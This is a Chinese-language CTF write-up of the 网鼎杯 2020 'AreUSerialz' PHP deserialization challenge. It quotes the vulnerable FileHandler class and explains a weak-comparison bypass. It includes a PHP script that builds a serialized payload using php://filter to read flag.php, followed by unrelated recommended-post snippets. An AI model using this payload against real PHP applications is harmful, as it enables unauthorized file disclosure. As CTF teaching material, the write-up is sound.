序列化2之[网鼎杯 2020 青龙组]AreUSerialz1

2023-11-17

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct(){
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

这里面的函数通过分析可知:_construct函数可以不管,因为在反序列化时是不会自动调用的,在创建一个新对象时会调用,而_destruct是在销毁一个对象时调用,而PHP中大部分都会自动调用他,这里面说,不能让op==="2",注意是字符2,所以我们可以让op=2,整数2,在process里面是弱比较,可以通成功执行read函数,达到读取flag.php 的目的;然后就是

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

这个函数主要是过滤掉protect类的成员在序列化的时候是以%00作为标识符但是在PHP版本大于7.1的情况下,protect类和public类没什么好注意的,所以在构造序列化时改为public可以绕过is_valid函数,构造PHP序列化:


<?php
highlight_file(__FILE__);
class FileHandler {

    public $op=2;
    public $filename="php://filter/read=convert.base64-encode/resource=flag.php";
   public $content;
}

$str = new FileHandler();
echo serialize($str);
?>

这里的filenam用了伪协议吧内容base64加密显示出来,也可以不用,直接flag.php也可以

由于没学过PHP,原来写diamante的时候,类里面只要说明变量即可,就和struct一样; 

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

序列化2之[网鼎杯 2020 青龙组]AreUSerialz1 的相关文章

随机推荐

  • 大厂Code Review 流程

    提交cr的流程 检查代码风格 可以安装googlestyle或者Alibaba的一些stylecheck工具 也许各开发团队会有自己的风格规范 从mainline中同步代码 注意使用 git pull rebase 而不是 git pull
  • 二叉树——初识

    链表 gt 二叉树 gt 二叉查找树 gt 平衡二叉树 二叉树时间复杂度 O logn 即2 x 树的深度 N 如 21亿点需要查找几次 2 32 21亿 查找32次 1 满二叉树 2 完全二叉树 设二叉树的深度为h 除第 h 层外 其它各
  • ⛳ Git安装与配置

    Git安装配置目录 Git安装与配置 一 git的安装 1 下载git 2 下载完成之后 双击安装即可 3 更改安装目录 没有中文且没有空格 4 所有设置选择默认设置即可 5 最后 点击Fanish 完成安装 二 检查Git版本 三 配置
  • Python 配置文件(.ini、 .conf、 .cfg)的读写

    python读取配置文件两个常用模块 ConfigParser和configobj模块 1 对比 ConfigParser的一些问题 不能区分大小写 重新写入的配置文件不能保留原有配置文件的注释 重新写入的配置文件不能保持原有的顺序 不支持
  • keil5中添加lpc213x系列芯片

    好久不见 keil5中添加lpc213x芯片 1 首先下载keil5 网上资料很多 这里就不再多述了 2 然后去这个网站 http www2 keil com mdk5 legacy 这里要注意 安装的位置要是你keil5文件的位置 3 重
  • F分布是由两个独立的卡方分布的比值所得到的分布

    import numpy as np from scipy stats import f F分布 分析两个正态分布方差比值的分布情况 F分布是由两个独立的卡方分布的比值所得到的分布 检验两个样本方差是否相等 常被用于统计分析 财务分析 市场
  • 如何实现两个数据库之间表的同步更新(增,删,改)

    这里如果知道触发器的使用方法的话 解决这个问题就很简单了 触发器 就是 种特殊的存储过程 触发器和存储过程 样是 个能够完成特定功能 存储在数据库服务器上的SQL 段 但是触发器 需调 当对数据表中的数据执 DML操作时 动触发这个SQL
  • 关于fft那些简单却难的问题们

    目录 1 傅里叶变换定义 2 频率轴设置 3 频谱幅度 4 频谱混叠 5 频谱泄露 6 频谱相位 傅里叶变换方法认为任意一个具有连续周期的信号可以根据一组由正弦和余弦曲线构成的三角函数的曲线组合而成或任意逼近 经过长期以来的发展 傅里叶变换
  • DBSCAN的理解和matlab实现

    DBSCAN是基于密度的聚类算法 以下总结一下编写matlab时遇到的一些问题 1 算法的基本流程 步骤1 首先初始化变量 主要包括原始数据变量 此处为一个二维矩阵 包括x y坐标 共1500个采样点 由randmperm生成的随机标签向量
  • JS判断汉字

    方法一 最笨的 最容易理解的 且可以随意设置要排除的字符
  • IDEA下SpringBoot指定环境、配置文件启动

    1 idea下的SpringBoot启动 指定配置文件 Springboot项目有如下配置文件 主配置文件application yml 测试环境 application test yml 生产环境 application pro yml
  • C++查找算法总结(可执行代码)

    1 顺序查找 核心 从数据的第一个元素开始 依次比较 直到找到目标数据或查找失败 1 从表中的第一个元素开始 依次与关键字比较 2 若某个元素匹配关键字 则 查找成功 3 若查找到最后一个元素还未匹配关键字 则 查找失败 时间复杂度 顺序查
  • HTTP与HTTPS的区别,HTTPS的工作原理及优缺点

    为什么要有HTTPS 超文本传输协议HTTP协议被用于在web服务器和网站服务器之间传递消息 HTTP协议以明文方式发送内容 不提供任何方式的数据加密 如果攻击者截取了web浏览器和网站服务器之间的传输报文 就可以直接读懂其中的信息 因此
  • 逍遥模拟器android4.0版本,【逍遥安卓模拟器最新版】逍遥安卓模拟器官方下载 v7.2.1.0 电脑版-开心电玩...

    软件介绍 逍遥安卓模拟器最新版是一款性能卓佳的安卓模拟器 拥有市场上流行的安卓游戏 程序 应用 用户可以通过逍遥安卓模拟器运行这些 能够一键多开游戏 从而让用户能够更加便捷的运行多个手游 相对于市面其余的安卓模拟器性能更加优化 运行安卓程序
  • 41.QT-多线程与界面之间交互总结

    1 线程与界面组件需要注意的地方 在QThread线程中不能直接创建QWidget之类的界面组件 因为在QT中 所有界面组件相关的操作都必须在主线程中 也就是GUI thread 所以 QThread线程不能直接操作界面组件 2 QThre
  • 接口-Web Service接口

    1 Web Service的使用背景 当前除了HTTP接口很流行以外 另一个常见使用的接口是Web Service接口 在介绍Web Service接口前先来介绍下SOA SOA Service Oriented Ambiguity 即面向
  • element-ui使用总结

    1 input输入框 自定义图标 前部效果图
  • vue+ElementUI el-select实现下拉列表分页的功能(下拉分页组件)

    1 最终效果 2 需求 因下拉框中的数据过多 所以需要使用分页的方式来实现 3 代码示例
  • Object 的静态方法

    仅供个人学习记录使用 表格内容来自MDN 编号 函数名 功能 1 Object assign 通过复制一个或多个对象来创建一个新的对象 2 Object create 使用指定的原型对象和属性创建一个新对象 3 Object defineP
  • 序列化2之[网鼎杯 2020 青龙组]AreUSerialz1

    class FileHandler protected op protected filename protected content function construct op 1 filename tmp tmpfile content